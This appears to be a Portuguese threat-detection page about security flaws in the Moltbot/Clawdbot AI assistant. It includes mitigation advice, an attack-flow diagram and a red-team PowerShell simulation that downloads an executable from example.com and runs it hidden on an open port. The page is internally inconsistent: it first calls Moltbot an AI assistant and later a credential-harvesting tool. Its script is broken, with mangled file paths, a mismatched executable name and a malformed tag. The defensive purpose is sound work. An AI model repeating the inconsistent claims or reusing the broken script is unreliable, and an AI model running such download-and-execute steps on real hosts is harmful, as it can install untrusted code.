A Epidemia do Moltbot / ClawdBots
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O artigo destaca problemas de segurança em torno do assistente pessoal de IA inicialmente chamado Clawdbot e posteriormente renomeado para Moltbot. O Moltbot é operado através de aplicativos de mensagens como WhatsApp e Telegram, no entanto, muitas implantações são acessíveis da internet com autenticação fraca ou ausente. Ele grava credenciais de usuário em arquivos de texto simples, e sua biblioteca de habilidades pode ser envenenada, criando uma exposição na cadeia de suprimentos. Atores de ameaça poderiam roubar segredos, exfiltrar código-fonte e reutilizar o assistente como um backdoor.
Investigação
Pesquisadores encontraram centenas de instâncias do Moltbot expondo portas de administração sem autenticação e configurações de proxy inseguras. Um ataque de prova de conceito na cadeia de suprimentos carregou uma habilidade maliciosa para a biblioteca ClawdHub, demonstrando execução remota de comando para usuários a jusante. Analistas também observaram que segredos são persistidos em arquivos Markdown e JSON de texto simples, tornando-os presas fáceis para infostealers comuns como RedLine, Lumma e Vidar.
Mitigação
Os operadores devem exigir autenticação forte para todos os serviços do Moltbot, fechar ou isolar portas de administração com firewall e evitar expor o assistente à internet. Habilitar criptografia em repouso para segredos armazenados, isolar ou containerizar o ambiente de execução e restringir o acesso ao sistema de arquivos. Verificar, assinar e fixar qualquer habilidade retirada da biblioteca, e considerar desativar o recurso de habilidades caso não possa ser gerenciado com segurança.
Resposta
Alertar sobre portas de administração abertas e tentativas de acesso não autenticadas ao Moltbot. Monitorar o processo de IA para execução de comandos inesperados e conexões de saída para domínios C2 desconhecidos. Escanear hosts em busca de malware de roubo de credenciais e validar a integridade dos arquivos de configuração armazenados. Se a violação for confirmada, isolar o sistema, revogar credenciais expostas e reimplantar o Moltbot com configurações reforçadas.
%% Class Definitions classDef technique fill:#ffcc99 classDef actor fill:#99ff99 classDef asset fill:#ccccff classDef process fill:#ff9999 %% Nodes actor_attacker[“<b>Ator</b>: Atacante”] class actor_attacker actor asset_moltbot[“<b>Ativo</b>: Instância Moltbot<br/><b>Exposição</b>: Porta administrativa acessível sem autenticação”] class asset_moltbot asset tech_external_remote[“<b>Técnica</b> – T1133: Serviços Remotos Externos<br/><b>Descrição</b>: Uso de serviços remotos publicamente expostos para obter acesso inicial”] class tech_external_remote technique tech_exploit_remote[“<b>Técnica</b> – T1210: Exploração de Serviços Remotos<br/><b>Descrição</b>: Exploração de vulnerabilidades ou configurações incorretas em serviços remotos para executar comandos”] class tech_exploit_remote technique tech_remote_access[“<b>Técnica</b> – T1219: Ferramentas de Acesso Remoto<br/><b>Descrição</b>: Uso de capacidades de acesso remoto para executar comandos adicionais no host comprometido”] class tech_remote_access technique tech_hijack_execution[“<b>Técnica</b> – T1574: Sequestro do Fluxo de Execução<br/><b>Descrição</b>: Manipulação do fluxo de execução por meio da contaminação de componentes confiáveis, como uma biblioteca de skills”] class tech_hijack_execution technique asset_malicious_skill[“<b>Ativo</b>: Skill Malicioso<br/><b>Localização</b>: Biblioteca de skills ClawHub”] class asset_malicious_skill asset tech_content_injection[“<b>Técnica</b> – T1659: Injeção de Conteúdo<br/><b>Descrição</b>: Injeção de código malicioso em conteúdo legítimo que é posteriormente executado pelas vítimas”] class tech_content_injection technique process_payload[“<b>Processo</b>: Payload Malicioso<br/><b>Ação</b>: Executado nos hosts Moltbot das vítimas”] class process_payload process tech_credentials_files[“<b>Técnica</b> – T1552.001: Credenciais em Arquivos<br/><b>Descrição</b>: Acesso a credenciais em texto simples armazenadas em arquivos como JSON ou Markdown”] class tech_credentials_files technique tech_system_services[“<ng>Técnica</b> – T1569: Serviços do Sistema<br/><b>Descrição</b>: Registro de código malicioso como serviço do sistema para persistência e execução”] class tech_system_services technique asset_c2_server[“<b>Ativo</b>: Servidor C2 do Atacante<br/><b>Papel</b>: Recebe confirmações de execução e credenciais exfiltradas”] class asset_c2_server asset tech_exfiltration[“<b>Técnica</b> – T1041: Exfiltração via Canal C2<br/><b>Descrição</b>: Transferência de dados roubados para o atacante através do canal de comando e controle estabelecido”] class tech_exfiltration technique %% Connections actor_attacker –>|descobre| asset_moltbot asset_moltbot –>|permite| tech_external_remote tech_external_remote –>|leva a| tech_exploit_remote tech_exploit_remote –>|utiliza| tech_remote_access tech_remote_access –>|executa| tech_hijack_execution tech_hijack_execution –>|contamina| asset_malicious_skill asset_malicious_skill –>|injeta código em| tech_content_injection tech_content_injection –>|entrega a| process_payload process_payload –>|lê| tech_credentials_files tech_credentials_files –>|fornece dados para| tech_system_services tech_system_services –>|mantém persistência e executa| process_payload process_payload –>|contata| asset_c2_server asset_c2_server –>|recebe dados via| tech_exfiltration
Fluxo de Ataque
Detecções
Possível Tentativa de Instalação do Moltbot (anteriormente Clawdbot) (via proxy)
Proof of Value
Possível Tentativa de Instalação do Moltbot (anteriormente Clawdbot) (via file_event)
Proof of Value
Possível Tentativa de Instalação do Moltbot (anteriormente Clawdbot) (via dns)
Proof of Value
Possível Tentativa de Instalação do Moltbot (anteriormente Clawdbot) (via cmdline)
Proof of Value
Detecção de Instâncias do Moltbot Expostas à Web [Servidor Web]
Proof of Value
Execução da Simulação
Pré-requisito: A Verificação Pré-voo de Telemetria e Referência deve ter passado.
-
Narrativa do Ataque & Comandos:
A equipe vermelha implanta Moltbot (uma ferramenta publicamente disponível para coleta de credenciais) em um host Windows comprometido. Ao iniciar o Moltbot com sua configuração padrão, ele abre um console HTTP de administração não autenticado em porta 8080 que anuncia “exposto à web” em seu banner. Isso cria eventos de conexão de rede que correspondem às strings literais da regra de detecção. Em seguida, o atacante acessa a interface de usuário de um IP externo para verificar a exposição, gerando assim a telemetria necessária.- Baixar Moltbot (simulado por um zip placeholder).
- Extrair e executar o binário com as flags padrão (
--listen 0.0.0.0:8080). - Opcionalmente emitir um HTTP GET de um IP externo (simulado via
Invoke-WebRequest).
-
Script de Teste de Regressão:
# ---------------------------------------------------- # Simulação de Exposição Moltbot – PowerShell # ---------------------------------------------------- # 1. Criar um diretório temporário $tempDir = "$env:TEMPMoltbotSim" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null # 2. Simular o download de um executável Moltbot (placeholder) $molExe = "$tempDirmolbot.exe" Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing # 3. Executar o Moltbot com configurações padrão (expostas) $proc = Start-Process -FilePath $molExe ` -ArgumentList "--listen 0.0.0.0:8080" ` -PassThru ` -WindowStyle Hidden Write-Host "[+] Moltbot iniciado (PID: $($proc.Id)) ouvindo em 0.0.0.0:8080" # 4. Esperar um curto período para permitir o registro do serviço em logs Start-Sleep -Seconds 5 # 5. Simular uma conexão externa para gerar tráfego de rede Try { Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5 Write-Host "[+] Solicitação HTTP externa enviada para a interface do Moltbot." } Catch { Write-Warning "[-] Não foi possível alcançar a interface do Moltbot (pode estar bloqueado pelo firewall)." } # 6. Manter o processo vivo para registros adicionais (opcional) Start-Sleep -Seconds 20 # 7. Limpeza – parar o Moltbot Stop-Process -Id $proc.Id -Force Remove-Item -Recurse -Force $tempDir Write-Host "[+] Simulação do Moltbot concluída e limpa." -
Comandos de Limpeza:
# Encerrar forçadamente quaisquer processos Moltbot restantes e deletar arquivos temporários Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Limpeza concluída."